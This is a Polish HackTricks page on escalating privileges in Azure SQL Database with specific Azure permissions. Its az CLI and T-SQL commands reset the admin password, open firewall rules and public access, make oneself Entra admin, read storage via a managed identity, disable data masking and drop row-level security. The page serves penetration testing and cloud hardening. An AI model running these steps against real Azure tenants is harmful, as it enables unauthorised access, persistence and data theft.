Az - SQL Database Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

SQL Database Privesc

Aby uzyskać więcej informacji na temat SQL Database, sprawdź:

Az - SQL

Microsoft.Sql/servers/read && Microsoft.Sql/servers/write

Dzięki tym uprawnieniom użytkownik może przeprowadzić eskalację uprawnień, aktualizując lub tworząc serwery Azure SQL oraz modyfikując krytyczne konfiguracje, w tym dane uwierzytelniające administratora. To uprawnienie pozwala użytkownikowi na aktualizację właściwości serwera, w tym hasła administratora SQL, co umożliwia nieautoryzowany dostęp lub kontrolę nad serwerem. Mogą również tworzyć nowe serwery, potencjalnie wprowadzając infrastrukturę cieniową w celach złośliwych. Staje się to szczególnie krytyczne w środowiskach, w których “Microsoft Entra Authentication Only” jest wyłączone, ponieważ mogą wykorzystać uwierzytelnianie oparte na SQL, aby uzyskać nieograniczony dostęp.

# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>

# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>

Dodatkowo, konieczne jest włączenie dostępu publicznego, jeśli chcesz uzyskać dostęp z punktu końcowego, który nie jest prywatny. Aby to włączyć:

az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true

Ponadto, z uprawnieniami możesz włączyć przypisaną tożsamość i operować z zarządzaną tożsamością przypisaną do serwera. Na przykład tutaj z zarządzaną tożsamością, która może uzyskać dostęp do Azure Storage:

az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO


CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO

SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO

Microsoft.Sql/servers/firewallRules/write

Atakujący może manipulować regułami zapory na serwerach Azure SQL, aby umożliwić nieautoryzowany dostęp. Może to być wykorzystane do otwarcia serwera na konkretne adresy IP lub całe zakresy adresów IP, w tym publiczne adresy IP, co umożliwia dostęp dla złośliwych aktorów. Ta aktywność po eksploatacji może być używana do obejścia istniejących zabezpieczeń sieciowych, ustanowienia trwałości lub ułatwienia ruchu lateralnego w środowisku poprzez ujawnienie wrażliwych zasobów.

# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>

# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>

Dodatkowo, uprawnienie Microsoft.Sql/servers/outboundFirewallRules/delete pozwala na usunięcie reguły zapory.
UWAGA: Należy mieć włączony dostęp publiczny.

Microsoft.Sql/servers/ipv6FirewallRules/write

Dzięki temu uprawnieniu możesz tworzyć, modyfikować lub usuwać reguły zapory IPv6 na serwerze Azure SQL. Może to umożliwić atakującemu lub uprawnionemu użytkownikowi ominięcie istniejących konfiguracji zabezpieczeń sieciowych i uzyskanie nieautoryzowanego dostępu do serwera. Dodając regułę, która pozwala na ruch z dowolnego adresu IPv6, atakujący może otworzyć serwer na dostęp zewnętrzny.

az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>

Dodatkowo, uprawnienie Microsoft.Sql/servers/ipv6FirewallRules/delete pozwala na usunięcie reguły zapory. UWAGA: Należy mieć włączony dostęp publiczny

Microsoft.Sql/servers/administrators/write && Microsoft.Sql/servers/administrators/read

Dzięki tym uprawnieniom możesz uzyskać podwyższone uprawnienia w środowisku Azure SQL Server, uzyskując dostęp do baz danych SQL i odzyskując krytyczne informacje. Używając poniższego polecenia, atakujący lub uprawniony użytkownik może ustawić siebie lub inne konto jako administratora Azure AD. Jeśli “Microsoft Entra Authentication Only” jest włączone, możesz uzyskać dostęp do serwera i jego instancji. Oto polecenie do ustawienia administratora Azure AD dla serwera SQL:

az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>

Microsoft.Sql/servers/azureADOnlyAuthentications/write && Microsoft.Sql/servers/azureADOnlyAuthentications/read

Dzięki tym uprawnieniom możesz skonfigurować i wymusić “Tylko uwierzytelnianie Microsoft Entra” na serwerze Azure SQL, co może ułatwić eskalację uprawnień w niektórych scenariuszach. Atakujący lub uprawniony użytkownik z tymi uprawnieniami może włączyć lub wyłączyć uwierzytelnianie tylko przez Azure AD.

#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>

#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>

Microsoft.Sql/servers/databases/dataMaskingPolicies/write

Modyfikuj (lub wyłącz) polityki maskowania danych w swoich bazach danych SQL.

az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'

Usuń zabezpieczenia na poziomie wiersza

Jeśli zalogujesz się jako administrator, możesz usunąć polityki samego administratora oraz innych użytkowników.

DROP SECURITY POLICY [Name_of_policy];

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks